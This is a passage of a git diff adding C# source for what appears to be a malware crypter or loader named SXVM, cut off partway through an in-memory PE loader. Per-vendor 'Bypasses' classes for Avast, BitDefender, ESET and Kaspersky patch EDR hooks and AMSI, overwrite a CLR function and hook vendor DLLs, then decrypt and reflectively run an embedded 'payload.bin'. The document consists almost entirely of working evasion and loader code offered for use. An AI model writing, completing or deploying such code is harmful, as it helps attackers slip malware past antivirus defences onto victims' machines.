||||||
|
private static IsWow64ProcessD IsWow64Process = Marshal.GetDelegateForFunctionPointer<IsWow64ProcessD>(GetLibraryAddress("kernel32.dll", "IsWow64Process"));
|
||||||
|
|
||||||
|
private delegate bool CloseHandleD(IntPtr handle);
|
||||||
|
|
||||||
|
private delegate bool FreeLibraryD(IntPtr module);
|
||||||
|
|
||||||
|
private delegate int VirtualProtectD(IntPtr address, IntPtr size, uint newProtect, out uint oldProtect);
|
||||||
|
|
||||||
|
private delegate IntPtr CreateFileAD(string fileName, uint desiredAccess, uint shareMode, IntPtr securityAttributes, uint creationDisposition, uint flagsAndAttributes, IntPtr templateFile);
|
||||||
|
|
||||||
|
private delegate IntPtr CreateFileMappingD(IntPtr file, IntPtr fileMappingAttributes, uint protect, uint maximumSizeHigh, uint maximumSizeLow, string name);
|
||||||
|
|
||||||
|
private delegate IntPtr MapViewOfFileD(IntPtr fileMappingObject, uint desiredAccess, uint fileOffsetHigh, uint fileOffsetLow, IntPtr numberOfBytesToMap);
|
||||||
|
|
||||||
|
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||||
|
private delegate IntPtr memcpyD(IntPtr dest, IntPtr src, IntPtr count);
|
||||||
|
|
||||||
|
private delegate bool GetModuleInformationD(IntPtr process, IntPtr module, out MODULEINFO moduleInfo, uint size);
|
||||||
|
|
||||||
|
private delegate bool IsWow64ProcessD([In] IntPtr hProcess, [Out] out bool wow64Process);
|
||||||
|
|
||||||
|
private static IntPtr GetLibraryAddress(string DLLName, string FunctionName)
|
||||||
|
{
|
||||||
|
return GetExportAddress(GetLoadedModuleAddress(DLLName), FunctionName);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static IntPtr GetLoadedModuleAddress(string DLLName)
|
||||||
|
{
|
||||||
|
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
|
||||||
|
foreach (ProcessModule Mod in ProcModules)
|
||||||
|
{
|
||||||
|
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
|
||||||
|
{
|
||||||
|
return Mod.BaseAddress;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return IntPtr.Zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
|
||||||
|
{
|
||||||
|
IntPtr FunctionPtr = IntPtr.Zero;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
|
||||||
|
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
|
||||||
|
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
|
||||||
|
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
|
||||||
|
Int64 pExport = 0;
|
||||||
|
if (Magic == 0x010b)
|
||||||
|
{
|
||||||
|
pExport = OptHeader + 0x60;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
pExport = OptHeader + 0x70;
|
||||||
|
}
|
||||||
|
|
||||||
|
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
|
||||||
|
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
|
||||||
|
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
|
||||||
|
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
|
||||||
|
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
|
||||||
|
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
|
||||||
|
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
|
||||||
|
|
||||||
|
for (int i = 0; i < NumberOfNames; i++)
|
||||||
|
{
|
||||||
|
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
|
||||||
|
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
|
||||||
|
{
|
||||||
|
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
|
||||||
|
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
|
||||||
|
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
throw new InvalidOperationException();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (FunctionPtr == IntPtr.Zero)
|
||||||
|
{
|
||||||
|
throw new MissingMethodException();
|
||||||
|
}
|
||||||
|
return FunctionPtr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8" ?>
|
||||||
|
<configuration>
|
||||||
|
<startup>
|
||||||
|
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
|
||||||
|
</startup>
|
||||||
|
</configuration>
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using static SXVM.API;
|
||||||
|
using static SXVM.Settings;
|
||||||
|
|
||||||
|
namespace SXVM.Bypasses
|
||||||
|
{
|
||||||
|
internal static class Avast
|
||||||
|
{
|
||||||
|
internal static void Bypass(string[] args)
|
||||||
|
{
|
||||||
|
PatchEDR(true, true, true);
|
||||||
|
Program.AttachHooks(null);
|
||||||
|
MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint;
|
||||||
|
ClearDecryptionKeyFromMemory();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
mi.Invoke(null, new object[] { args });
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
mi.Invoke(null, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using static SXVM.API;
|
||||||
|
using static SXVM.Settings;
|
||||||
|
|
||||||
|
namespace SXVM.Bypasses
|
||||||
|
{
|
||||||
|
internal static class BitDefender
|
||||||
|
{
|
||||||
|
internal static void Bypass(string[] args)
|
||||||
|
{
|
||||||
|
PatchEDR(false, true, false);
|
||||||
|
HardwareBreakpointAmsiPatch.Bypass();
|
||||||
|
string CLRFilePath = @"";
|
||||||
|
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
|
||||||
|
{
|
||||||
|
if (module.ModuleName == @"clr.dll")
|
||||||
|
{
|
||||||
|
CLRFilePath = module.FileName;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
IntPtr RealCLRAddress = FindECallFunction(@"clr.dll", @"nLoadImage");
|
||||||
|
DLLFromMemory MemCLR = new DLLFromMemory(File.ReadAllBytes(CLRFilePath));
|
||||||
|
IntPtr MemCLRAddress = FindECallFunctionViaModule(MemCLR.pCode, @"nLoadImage");
|
||||||
|
byte[] CLRPatch = ReadMemoryBlock(MemCLRAddress, 30);
|
||||||
|
WriteMemoryBlock(RealCLRAddress, CLRPatch, (uint)CLRPatch.Length);
|
||||||
|
CLRPatch = null;
|
||||||
|
CLRFilePath = @"";
|
||||||
|
CLRFilePath = null;
|
||||||
|
MemCLR.Close();
|
||||||
|
MemCLR = null;
|
||||||
|
GC.Collect();
|
||||||
|
Program.AttachHooks(null);
|
||||||
|
MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint;
|
||||||
|
ClearDecryptionKeyFromMemory();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
mi.Invoke(null, new object[] { args });
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
mi.Invoke(null, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using static SXVM.API;
|
||||||
|
using static SXVM.Settings;
|
||||||
|
|
||||||
|
namespace SXVM.Bypasses
|
||||||
|
{
|
||||||
|
internal static class Default
|
||||||
|
{
|
||||||
|
internal static void Bypass(string[] args)
|
||||||
|
{
|
||||||
|
PatchEDR(true, true, false);
|
||||||
|
Program.AttachHooks(null);
|
||||||
|
MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint;
|
||||||
|
ClearDecryptionKeyFromMemory();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
mi.Invoke(null, new object[] { args });
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
mi.Invoke(null, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,74 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
using System.Net;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using static SXVM.API;
|
||||||
|
using static SXVM.Settings;
|
||||||
|
|
||||||
|
namespace SXVM.Bypasses
|
||||||
|
{
|
||||||
|
internal static class ESET
|
||||||
|
{
|
||||||
|
private static SXVM sxvm_eset = new SXVM();
|
||||||
|
|
||||||
|
private delegate void ESETBypass();
|
||||||
|
|
||||||
|
private delegate void ESETHijack();
|
||||||
|
|
||||||
|
private static string[] PassthroughArgs = null;
|
||||||
|
|
||||||
|
internal static void Bypass(string[] args)
|
||||||
|
{
|
||||||
|
PatchEDR(true, true, false);
|
||||||
|
ESETBypass eSETBypass = _ESETBypass;
|
||||||
|
IntPtr ESETAddress = SearchAoB(@"48 83 EC 28 E8 BB FF FF FF 48 F7 D8 1B C0 F7 D8", @"eamsi.dll");
|
||||||
|
sxvm_eset.Hook(ESETAddress, eSETBypass, true, false);
|
||||||
|
PassthroughArgs = args;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
ESETHijack eSETHijack = Marshal.GetDelegateForFunctionPointer<ESETHijack>(ESETAddress);
|
||||||
|
eSETHijack();
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void _ESETBypass()
|
||||||
|
{
|
||||||
|
sxvm_eset.Unhook();
|
||||||
|
Program.AttachHooks(null);
|
||||||
|
HarmonyPatcher.Patch(new HarmonyPatcher.TypeInfo(typeof(Socket), @"Connect", new Type[] { typeof(IPAddress), typeof(int) }), typeof(HookedSocket.Connect), null);
|
||||||
|
MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint;
|
||||||
|
ClearDecryptionKeyFromMemory();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string[] args = PassthroughArgs;
|
||||||
|
PassthroughArgs = null;
|
||||||
|
mi.Invoke(null, new object[] { args });
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
mi.Invoke(null, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class HookedSocket
|
||||||
|
{
|
||||||
|
internal static class Connect
|
||||||
|
{
|
||||||
|
internal static bool Prefix(ref IPAddress address, ref int port)
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
using static SXVM.API;
|
||||||
|
using static SXVM.Settings;
|
||||||
|
|
||||||
|
namespace SXVM.Bypasses
|
||||||
|
{
|
||||||
|
internal static class Kaspersky
|
||||||
|
{
|
||||||
|
private static SXVM sxvm_kaspersky = new SXVM();
|
||||||
|
|
||||||
|
private delegate void KasperskyBypass();
|
||||||
|
|
||||||
|
private static string[] PassthroughArgs = null;
|
||||||
|
|
||||||
|
internal static void Bypass(string[] args)
|
||||||
|
{
|
||||||
|
PatchEDR(false, true, false);
|
||||||
|
HardwareBreakpointAmsiPatch.Bypass();
|
||||||
|
KasperskyBypass kasperskyBypass = _KasperskyBypass;
|
||||||
|
IntPtr KasperskyAddress = typeof(System.Windows.Forms.MessageBox).GetMethod("Show", BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static, null, new Type[] { typeof(string) }, null).MethodHandle.GetFunctionPointer();
|
||||||
|
sxvm_kaspersky.Hook(KasperskyAddress, kasperskyBypass, true, false);
|
||||||
|
PassthroughArgs = args;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
MessageBox.Show("A");
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void _KasperskyBypass()
|
||||||
|
{
|
||||||
|
sxvm_kaspersky.Unhook();
|
||||||
|
Program.AttachHooks(null);
|
||||||
|
MethodInfo mi = Assembly.Load(Decompress(AESDecrypt(ExtractResource(@"payload.bin"), DecryptionKey))).EntryPoint;
|
||||||
|
ClearDecryptionKeyFromMemory();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string[] args = PassthroughArgs;
|
||||||
|
PassthroughArgs = null;
|
||||||
|
mi.Invoke(null, new object[] { args });
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
mi.Invoke(null, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,895 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace SXVM
|
||||||
|
{
|
||||||
|
internal class DLLFromMemory : IDisposable
|
||||||
|
{
|
||||||
|
public class DllException : Exception
|
||||||
|
{
|
||||||
|
public DllException() : base() { }
|
||||||
|
public DllException(string message) : base(message) { }
|
||||||
|
public DllException(string message, Exception innerException) : base(message, innerException) { }
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool Disposed { get; private set; }
|
||||||
|
public bool IsDll { get; private set; }
|
||||||
|
|
||||||
|
public IntPtr pCode = IntPtr.Zero;
|
||||||
|
IntPtr pNTHeaders = IntPtr.Zero;
|
||||||
|
IntPtr[] ImportModules;
|
||||||
|
bool _initialized = false;
|
||||||
|
DllEntryDelegate _dllEntry = null;
|
||||||
|
ExeEntryDelegate _exeEntry = null;
|
||||||
|
bool _isRelocated = false;
|
||||||
|
|
||||||
|
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
|
||||||
|
delegate bool DllEntryDelegate(IntPtr hinstDLL, DllReason fdwReason, IntPtr lpReserved);
|
||||||
|
|
||||||
|
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
|
||||||
|
delegate int ExeEntryDelegate();
|
||||||
|
|
||||||
|
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
|
||||||
|
delegate void ImageTlsDelegate(IntPtr dllHandle, DllReason reason, IntPtr reserved);
|
||||||
|
|
||||||
|
public DLLFromMemory(byte[] data)
|
||||||
|
{
|
||||||
|
Disposed = false;
|
||||||
|
if (data == null) throw new ArgumentNullException("data");
|
||||||
|
MemoryLoadLibrary(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
~DLLFromMemory()
|
||||||
|
{
|
||||||
|
Dispose();
|
||||||
|
}
|
||||||
|
|
||||||
|
public TDelegate GetDelegateFromFuncName<TDelegate>(string funcName) where TDelegate : class
|
||||||
|
{
|
||||||
|
if (!typeof(Delegate).IsAssignableFrom(typeof(TDelegate))) throw new ArgumentException(typeof(TDelegate).Name + " is not a delegate");
|
||||||
|
TDelegate res = Marshal.GetDelegateForFunctionPointer((IntPtr)GetPtrFromFuncName(funcName), typeof(TDelegate)) as TDelegate;
|
||||||
|
if (res == null) throw new DllException("Unable to get managed delegate");
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Delegate GetDelegateFromFuncName(string funcName, Type delegateType)
|
||||||
|
{
|
||||||
|
if (delegateType == null) throw new ArgumentNullException("delegateType");
|
||||||
|
if (!typeof(Delegate).IsAssignableFrom(delegateType)) throw new ArgumentException(delegateType.Name + " is not a delegate");
|
||||||
|
Delegate res = Marshal.GetDelegateForFunctionPointer(GetPtrFromFuncName(funcName), delegateType);
|
||||||
|
if (res == null) throw new DllException("Unable to get managed delegate");
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
public IntPtr GetPtrFromFuncName(string funcName)
|
||||||
|
{
|
||||||
|
if (Disposed) throw new ObjectDisposedException("DLLFromMemory");
|
||||||
|
if (string.IsNullOrEmpty(funcName)) throw new ArgumentException("funcName");
|
||||||
|
if (!IsDll) throw new InvalidOperationException("Loaded Module is not a DLL");
|
||||||
|
|
||||||
|
IntPtr pDirectory = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ExportTable : Of32.IMAGE_OPTIONAL_HEADER_ExportTable));
|
||||||
|
IMAGE_DATA_DIRECTORY Directory = PtrRead<IMAGE_DATA_DIRECTORY>(pDirectory);
|
||||||
|
if (Directory.Size == 0) throw new DllException("Dll has no export table");
|
||||||
|
|
||||||
|
IntPtr pExports = PtrAdd(pCode, Directory.VirtualAddress);
|
||||||
|
IMAGE_EXPORT_DIRECTORY Exports = PtrRead<IMAGE_EXPORT_DIRECTORY>(pExports);
|
||||||
|
if (Exports.NumberOfFunctions == 0 || Exports.NumberOfNames == 0) throw new DllException("Dll exports no functions");
|
||||||
|
|
||||||
|
IntPtr pNameRef = PtrAdd(pCode, Exports.AddressOfNames);
|
||||||
|
IntPtr pOrdinal = PtrAdd(pCode, Exports.AddressOfNameOrdinals);
|
||||||
|
for (int i = 0; i < Exports.NumberOfNames; i++, pNameRef = PtrAdd(pNameRef, sizeof(uint)), pOrdinal = PtrAdd(pOrdinal, sizeof(ushort)))
|
||||||
|
{
|
||||||
|
uint NameRef = PtrRead<uint>(pNameRef);
|
||||||
|
ushort Ordinal = PtrRead<ushort>(pOrdinal);
|
||||||
|
string curFuncName = Marshal.PtrToStringAnsi(PtrAdd(pCode, NameRef));
|
||||||
|
if (curFuncName == funcName)
|
||||||
|
{
|
||||||
|
if (Ordinal > Exports.NumberOfFunctions) throw new DllException("Invalid function ordinal");
|
||||||
|
IntPtr pAddressOfFunction = PtrAdd(pCode, (Exports.AddressOfFunctions + (uint)(Ordinal * 4)));
|
||||||
|
return PtrAdd(pCode, PtrRead<uint>(pAddressOfFunction));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new DllException("Dll exports no function named " + funcName);
|
||||||
|
}
|
||||||
|
|
||||||
|
public int MemoryCallEntryPoint()
|
||||||
|
{
|
||||||
|
if (Disposed) throw new ObjectDisposedException("DLLFromMemory");
|
||||||
|
if (IsDll || _exeEntry == null || !_isRelocated) throw new DllException("Unable to call entry point. Is loaded module a dll?");
|
||||||
|
return _exeEntry();
|
||||||
|
}
|
||||||
|
|
||||||
|
void MemoryLoadLibrary(byte[] data)
|
||||||
|
{
|
||||||
|
if (data.Length < Marshal.SizeOf(typeof(IMAGE_DOS_HEADER))) throw new DllException("Not a valid executable file");
|
||||||
|
IMAGE_DOS_HEADER DosHeader = BytesReadStructAt<IMAGE_DOS_HEADER>(data, 0);
|
||||||
|
if (DosHeader.e_magic != Win.IMAGE_DOS_SIGNATURE) throw new BadImageFormatException("Not a valid executable file");
|
||||||
|
|
||||||
|
if (data.Length < DosHeader.e_lfanew + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS))) throw new DllException("Not a valid executable file");
|
||||||
|
IMAGE_NT_HEADERS OrgNTHeaders = BytesReadStructAt<IMAGE_NT_HEADERS>(data, DosHeader.e_lfanew);
|
||||||
|
|
||||||
|
if (OrgNTHeaders.Signature != Win.IMAGE_NT_SIGNATURE) throw new BadImageFormatException("Not a valid PE file");
|
||||||
|
if (OrgNTHeaders.FileHeader.Machine != GetMachineType()) throw new BadImageFormatException("Machine type doesn't fit (i386 vs. AMD64)");
|
||||||
|
if ((OrgNTHeaders.OptionalHeader.SectionAlignment & 1) > 0) throw new BadImageFormatException("Wrong section alignment"); //Only support multiple of 2
|
||||||
|
//if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint == 0) throw new DllException("Module has no entry point");
|
||||||
|
|
||||||
|
SYSTEM_INFO systemInfo;
|
||||||
|
Win.GetNativeSystemInfo(out systemInfo);
|
||||||
|
uint lastSectionEnd = 0;
|
||||||
|
int ofSection = Win.IMAGE_FIRST_SECTION(DosHeader.e_lfanew, OrgNTHeaders.FileHeader.SizeOfOptionalHeader);
|
||||||
|
for (int i = 0; i != OrgNTHeaders.FileHeader.NumberOfSections; i++, ofSection += Sz.IMAGE_SECTION_HEADER)
|
||||||
|
{
|
||||||
|
IMAGE_SECTION_HEADER Section = BytesReadStructAt<IMAGE_SECTION_HEADER>(data, ofSection);
|
||||||
|
uint endOfSection = Section.VirtualAddress + (Section.SizeOfRawData > 0 ? Section.SizeOfRawData : OrgNTHeaders.OptionalHeader.SectionAlignment);
|
||||||
|
if (endOfSection > lastSectionEnd) lastSectionEnd = endOfSection;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint alignedImageSize = AlignValueUp(OrgNTHeaders.OptionalHeader.SizeOfImage, systemInfo.dwPageSize);
|
||||||
|
uint alignedLastSection = AlignValueUp(lastSectionEnd, systemInfo.dwPageSize);
|
||||||
|
if (alignedImageSize != alignedLastSection) throw new BadImageFormatException("Wrong section alignment");
|
||||||
|
|
||||||
|
IntPtr oldHeader_OptionalHeader_ImageBase;
|
||||||
|
if (Is64BitProcess) oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((long)(OrgNTHeaders.OptionalHeader.ImageBaseLong));
|
||||||
|
else oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((int)(OrgNTHeaders.OptionalHeader.ImageBaseLong >> 32));
|
||||||
|
|
||||||
|
pCode = Win.VirtualAlloc(oldHeader_OptionalHeader_ImageBase, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE);
|
||||||
|
|
||||||
|
if (pCode == IntPtr.Zero) pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE);
|
||||||
|
|
||||||
|
if (pCode == IntPtr.Zero) throw new DllException("Out of Memory");
|
||||||
|
|
||||||
|
if (Is64BitProcess && PtrSpanBoundary(pCode, alignedImageSize, 32))
|
||||||
|
{
|
||||||
|
System.Collections.Generic.List<IntPtr> BlockedMemory = new System.Collections.Generic.List<IntPtr>();
|
||||||
|
while (PtrSpanBoundary(pCode, alignedImageSize, 32))
|
||||||
|
{
|
||||||
|
BlockedMemory.Add(pCode);
|
||||||
|
pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)alignedImageSize, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE);
|
||||||
|
if (pCode == IntPtr.Zero) break;
|
||||||
|
}
|
||||||
|
foreach (IntPtr ptr in BlockedMemory) Win.VirtualFree(ptr, IntPtr.Zero, AllocationType.RELEASE);
|
||||||
|
if (pCode == IntPtr.Zero) throw new DllException("Out of Memory");
|
||||||
|
}
|
||||||
|
|
||||||
|
IntPtr headers = Win.VirtualAlloc(pCode, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfHeaders, AllocationType.COMMIT, MemoryProtection.READWRITE);
|
||||||
|
if (headers == IntPtr.Zero) throw new DllException("Out of Memory");
|
||||||
|
|
||||||
|
Marshal.Copy(data, 0, headers, (int)(OrgNTHeaders.OptionalHeader.SizeOfHeaders));
|
||||||
|
pNTHeaders = PtrAdd(headers, DosHeader.e_lfanew);
|
||||||
|
|
||||||
|
IntPtr locationDelta = PtrSub(pCode, oldHeader_OptionalHeader_ImageBase);
|
||||||
|
if (locationDelta != IntPtr.Zero)
|
||||||
|
{
|
||||||
|
Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), "OptionalHeader");
|
||||||
|
Marshal.OffsetOf(typeof(IMAGE_OPTIONAL_HEADER), "ImageBaseLong");
|
||||||
|
IntPtr pImageBase = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ImageBase : Of32.IMAGE_OPTIONAL_HEADER_ImageBase));
|
||||||
|
PtrWrite(pImageBase, pCode);
|
||||||
|
}
|
||||||
|
|
||||||
|
CopySections(ref OrgNTHeaders, pCode, pNTHeaders, data);
|
||||||
|
|
||||||
|
_isRelocated = (locationDelta != IntPtr.Zero ? PerformBaseRelocation(ref OrgNTHeaders, pCode, locationDelta) : true);
|
||||||
|
|
||||||
|
ImportModules = BuildImportTable(ref OrgNTHeaders, pCode);
|
||||||
|
|
||||||
|
FinalizeSections(ref OrgNTHeaders, pCode, pNTHeaders, systemInfo.dwPageSize);
|
||||||
|
|
||||||
|
ExecuteTLS(ref OrgNTHeaders, pCode, pNTHeaders);
|
||||||
|
|
||||||
|
IsDll = ((OrgNTHeaders.FileHeader.Characteristics & Win.IMAGE_FILE_DLL) != 0);
|
||||||
|
if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint != 0)
|
||||||
|
{
|
||||||
|
if (IsDll)
|
||||||
|
{
|
||||||
|
IntPtr dllEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint);
|
||||||
|
_dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(dllEntryPtr, typeof(DllEntryDelegate));
|
||||||
|
|
||||||
|
_initialized = (_dllEntry != null && _dllEntry(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
IntPtr exeEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint);
|
||||||
|
_exeEntry = (ExeEntryDelegate)Marshal.GetDelegateForFunctionPointer(exeEntryPtr, typeof(ExeEntryDelegate));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void CopySections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, byte[] data)
|
||||||
|
{
|
||||||
|
IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader);
|
||||||
|
for (int i = 0; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER))
|
||||||
|
{
|
||||||
|
IMAGE_SECTION_HEADER Section = PtrRead<IMAGE_SECTION_HEADER>(pSection);
|
||||||
|
if (Section.SizeOfRawData == 0)
|
||||||
|
{
|
||||||
|
uint size = OrgNTHeaders.OptionalHeader.SectionAlignment;
|
||||||
|
if (size > 0)
|
||||||
|
{
|
||||||
|
IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)size, AllocationType.COMMIT, MemoryProtection.READWRITE);
|
||||||
|
if (dest == IntPtr.Zero) throw new DllException("Unable to allocate memory");
|
||||||
|
|
||||||
|
dest = PtrAdd(pCode, Section.VirtualAddress);
|
||||||
|
|
||||||
|
PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest));
|
||||||
|
|
||||||
|
Win.MemSet(dest, 0, (UIntPtr)size);
|
||||||
|
}
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)Section.SizeOfRawData, AllocationType.COMMIT, MemoryProtection.READWRITE);
|
||||||
|
if (dest == IntPtr.Zero) throw new DllException("Out of memory");
|
||||||
|
|
||||||
|
